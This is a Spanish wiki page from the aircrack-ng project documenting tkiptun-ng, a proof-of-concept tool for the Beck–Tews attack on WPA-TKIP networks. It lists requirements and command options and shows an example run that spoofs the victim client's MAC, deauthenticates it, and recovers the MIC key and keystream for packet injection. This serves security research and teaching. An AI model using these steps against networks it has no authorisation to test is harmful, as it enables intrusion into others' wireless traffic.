====== Tkiptun-ng ====== ===== Descripción ===== Nota: Esta documentación está una en fase de desarrollo, por favor, chequéela regularmente para obtener las últimas actualizaciones.Si usted tiene alguna información que pueda ampliar esta documentación, por favor, postee sus comentarios en el foro. [[http://forum.aircrack-ng.org|Forum]]. **NOTA IMPORTANTE:** La Versión SVN de tkiptun-ng, no está trabajando completamente, la fase del ataque final no está implementada. Las otras porciones funcionan adecuadamente con los drivers para ieee802011 de los chips RT73 y RTK8187L. El driver madwifi-ng es definitivamente nulo y se conoce que falla completamente. Tkiptun-ng podría funcionar en otros drivers, pero como no han sido evaluados no se pueden especificar. Tkiptun-ng es una herramienta creada por Martin Beck, alias HIRTE, un miembro del equipo de aircrack-ng. Esta herramienta está diseñada para inyectar código encriptado en una red WPA-TKIP con QoS. Trabajó con Erik Tews (creador del ataque aircrack-PTW) para una conferencia en [[http://pacsec.jp/|PacSec 2008]]: "Perdido en 900 segundos, Algunas cuestiones de criptografía con WPA". Tkiptun-ng es la prueba de la puesta en práctica del concepto de "ataque WPA/TKIP". Este ataque es descrito en: [[http://dl.aircrack-ng.org/breakingwepandwpa.pdf|Practical attacks against WEP and WPA]] escrito por Martin Beck and Erik Tews. El documento describe los avances en ataques sobre WEP y el primer ataque práctico sobre WPA. Una excelente referencia adicional que explica cómo tkiptun-ng hace "magia" es este artículo técnico de ARS, [[http://arstechnica.com/security/news/2008/11/wpa-cracked.ars/|Maltratadas pero no rotas: Comprender como Crackear WPA ]] por Glenn Fleishman. Básicamente Tkiptun-ng empieza obteniendo texto plano en un pequeño paquete y del MIC (Message Integrity Check). Esto es posible mediante el ataque por el método [[chopchoptheory|chopchop]].Una vez que esto está hecho, El algoritmo de Michael, invierte la clave MIC usada para proteger los paquetes enviados desde el Punto de acceso (AP) al Cliente o estación, el cual la puede calcular. En este momento, tkiptun - ng ha recuperado la clave MIC y conoce un keystram para acceder a la comunicación con el punto cliente. Posteriormente, usando el archivo de XOR, podemos crear nuevos paquetes e inyectarlos. La creación y la inyección son satisfactorias usando el aircrack-ng de la suite de herramientas. Por favor recuerden que éste es un ataque sumamente avanzado. Usted requiere que un dominio avanzado de Linux y destreza en el uso de aircrack-ng. No espere soporte a menos que pueda demostrar que usted domina esto con destreza. ===== Requisitos Generales ===== Ambos, tanto el (AP) como el Cliente deben soportar QoS (Quality of Service), a veces llamado Wi-Fi Multi-media (WMM) en algunos puntos de acceso(AP). El (AP) debe estar configurado para utilizar WPA implementado con TKIP. Bastante tiempo para la reinyección, alrrededor de una hora (3600 segundos). Al menos tienen que ser 20 minutos. ===== Requisitos específicos ===== La dirección MAC de la tarjeta de Red usada por tkiptun-ng tiene que ser establecida en la dirección del cliente a quien estamos atacando ===== ¿Por qué? ===== Esta sección es muy preliminar. Cuando tkiptun-ng trabaja, este pasa por varias fases. Las personas preguntan "¿Por que pasa esto?, ¿tal o cual?". Esta sección intentará responder esas preguntas. **Pregunta** \\ ¿Porque es necesario capturar el HandsHake? **Answer:** \\ Se hace por razones de depuración. Primeramente es necesario para que las claves temporales en tkiptun-ng puedan ser calculadas, en Segundo lugar, para cotejarlo con los valores calculados del paquete de texto plano. Otra razón es verificar si el AP/Cliente reusan la conexión despues de una desconexión MIC(Código de integridad del mensaje). ===== Uso ===== Usage: tkiptun-ng Filtro de Opciones: * -d dmac : Dirección MAC de Destino * -s smac : Dirección MAC Fuente * -m len : Mínima longitud del paquete * -n len : Máxima longitud del paquete * -t tods : Control del Frame, a DS bit * -f fromds : Control del frame, de DS bit * -D : Desabilita la detección del AP Opciones de repetición: * -x nbpps : Número de paquetes por segundo * -a bssid : Establece la dirección MAC del punto de acceso. * -c dmac : Establece la dirección MAC de destino * -h smac : Establece la dirección MAC fuente * -F : Selecciona el primer paquete que coincida. * -e essid : Establece el SSID del AP de destino. Opciones de depuración: * -K prga : keystream for continuation * -y file : keystream-file for continuation * -j : inject FromDS packets * -P pmk : pmk for verification/vuln testing * -p psk : psk to calculate pmk with essid Opciones fuente: * -i iface : Captura paquetes de esta interface * -r file : Extrae paquetes de este archivo pcap \\ *-''''-help : Muestra el uso en pantalla ===== Ejemplos de Uso ===== El ejemplo de abajo está imcompleto, pero da una idea de como se vería. Input: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0 Output: The interface MAC (00:0E:2E:C5:81:D3) doesn't match the specified MAC (-h). ifconfig rausb0 hw ether 00:0F:B5:AB:CB:9D Blub 2:38 E6 38 1C 24 15 1C CF Blub 1:17 DD 0D 69 1D C3 1F EE Blub 3:29 31 79 E7 E6 CF 8D 5E 15:06:48 Michael Test: Successful 15:06:48 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9 15:06:48 Found specified AP 15:06:48 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs] 15:06:54 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs] 15:06:56 WPA handshake: 00:14:6C:7E:40:80 captured 15:06:56 Waiting for an ARP packet coming from the Client... Saving chosen packet in replay_src-0305-150705.cap 15:07:05 Waiting for an ARP response packet coming from the AP... Saving chosen packet in replay_src-0305-150705.cap 15:07:05 Got the answer! 15:07:05 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering. 15:07:25 Offset 99 ( 0% done) | xor = B3 | pt = D3 | 103 frames written in 84468ms 15:08:32 Offset 98 ( 1% done) | xor = AE | pt = 80 | 64 frames written in 52489ms 15:09:45 Offset 97 ( 3% done) | xor = DE | pt = C8 | 131 frames written in 107407ms 15:11:05 Offset 96 ( 5% done) | xor = 5A | pt = 7A | 191 frames written in 156619ms 15:12:07 Offset 95 ( 6% done) | xor = 27 | pt = 02 | 21 frames written in 17221ms 15:13:11 Offset 94 ( 8% done) | xor = D8 | pt = AB | 41 frames written in 33625ms 15:14:12 Offset 93 (10% done) | xor = 94 | pt = 62 | 13 frames written in 10666ms 15:15:24 Offset 92 (11% done) | xor = DF | pt = 68 | 112 frames written in 91829ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:18:13 Offset 91 (13% done) | xor = A1 | pt = E1 | 477 frames written in 391139ms 15:19:32 Offset 90 (15% done) | xor = 5F | pt = B2 | 186 frames written in 152520ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:22:09 Offset 89 (16% done) | xor = 9C | pt = 77 | 360 frames written in 295200ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:26:10 Offset 88 (18% done) | xor = 0D | pt = 3E | 598 frames written in 490361ms 15:27:33 Offset 87 (20% done) | xor = 8C | pt = 00 | 230 frames written in 188603ms 15:28:38 Offset 86 (21% done) | xor = 67 | pt = 00 | 47 frames written in 38537ms 15:29:53 Offset 85 (23% done) | xor = AD | pt = 00 | 146 frames written in 119720ms 15:31:16 Offset 84 (25% done) | xor = A3 | pt = 00 | 220 frames written in 180401ms 15:32:23 Offset 83 (26% done) | xor = 28 | pt = 00 | 75 frames written in 61499ms 15:33:38 Offset 82 (28% done) | xor = 7C | pt = 00 | 141 frames written in 115619ms 15:34:40 Offset 81 (30% done) | xor = 02 | pt = 00 | 19 frames written in 15584ms 15:35:57 Offset 80 (31% done) | xor = C9 | pt = 00 | 171 frames written in 140221ms 15:37:13 Offset 79 (33% done) | xor = 38 | pt = 00 | 148 frames written in 121364ms 15:38:21 Offset 78 (35% done) | xor = 71 | pt = 00 | 84 frames written in 68872ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:40:55 Offset 77 (36% done) | xor = 8E | pt = 00 | 328 frames written in 268974ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:43:31 Offset 76 (38% done) | xor = 38 | pt = 00 | 355 frames written in 291086ms 15:44:37 Offset 75 (40% done) | xor = 79 | pt = 00 | 61 frames written in 50021ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:47:05 Offset 74 (41% done) | xor = 59 | pt = 00 | 269 frames written in 220581ms 15:48:30 Offset 73 (43% done) | xor = 14 | pt = 00 | 249 frames written in 204178ms 15:49:49 Offset 72 (45% done) | xor = 9A | pt = 00 | 183 frames written in 150059ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:52:32 Offset 71 (46% done) | xor = 03 | pt = 00 | 420 frames written in 344400ms 15:53:57 Offset 70 (48% done) | xor = 0E | pt = 00 | 239 frames written in 195980ms Sleeping for 60 seconds.36 bytes still unknown ARP Reply Checking 192.168.x.y 15:54:11 Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66 Saving plaintext in replay_dec-0305-155411.cap Saving keystream in replay_dec-0305-155411.xor 15:54:11 Completed in 2816s (0.02 bytes/s) 15:54:11 AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42 15:54:11 Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112 15:54:11 Sent encrypted tkip ARP request to the client. 15:54:11 Wait for the mic countermeasure timeout of 60 seconds. ===== Consejos de uso ===== Nada en estos momentos. ===== Solución de Problemas ===== Nada en estos momentos. --- //[[hackdigitalresearch@gmail.com|Miguel Sanchez]] 2009/06/26 18:58//